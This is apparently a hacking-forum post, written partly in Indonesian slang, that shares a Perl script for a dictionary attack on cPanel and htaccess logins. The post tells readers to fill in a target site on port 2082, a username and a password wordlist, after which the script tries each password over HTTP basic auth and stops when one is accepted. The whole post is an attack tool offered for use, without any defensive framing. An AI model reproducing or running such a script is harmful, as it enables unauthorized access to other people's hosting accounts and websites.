# simple htaccess & cpanel dictionary attack
# coding by: sh3llc0der
sori ga make argv lg males
jadi monggo diedit ndiri: password.txt
ma : situstarget.com:2082
ma: usernya_taroh_sini
(ntu mua harus diedit)
- Code:
-
#!/usr/bin/perl -w
# simple htaccess & cpanel dictionary attack
# coding by: sh3llc0der
use IO::Socket;
use Socket;
use Net::hostent;
use LWP::UserAgent;
use HTTP::Response;
$i=1;
$daftarbrutus = "password.txt";
open("daftarbrutus") or die("Could not open wordlists!!!");
print "\n Guessing cpanel login of leqhi:\n";
print "-----------------------------------------\n";
foreach $line (<daftarbrutus>) {
chomp($line);
$ua = new LWP::UserAgent;
my $req = HTTP::Headers->new;
$req = HTTP::Request->new(GET => 'http://situstarget.com:2082');
$req->authorization_basic("usernya_taroh_sini", $line);
print "\nTesting pass:\n".$line."\n";
$hasil=$ua->request($req)->as_string;
if($hasil=~m/Login Attempt Failed!/)
{
print "[".$i."]login failed using pass:".$line."\n";
}
else
{
print "[".$i."]login succes using pass:".$line."\n";
exit();
}
$i=$i+1;
}
enjoy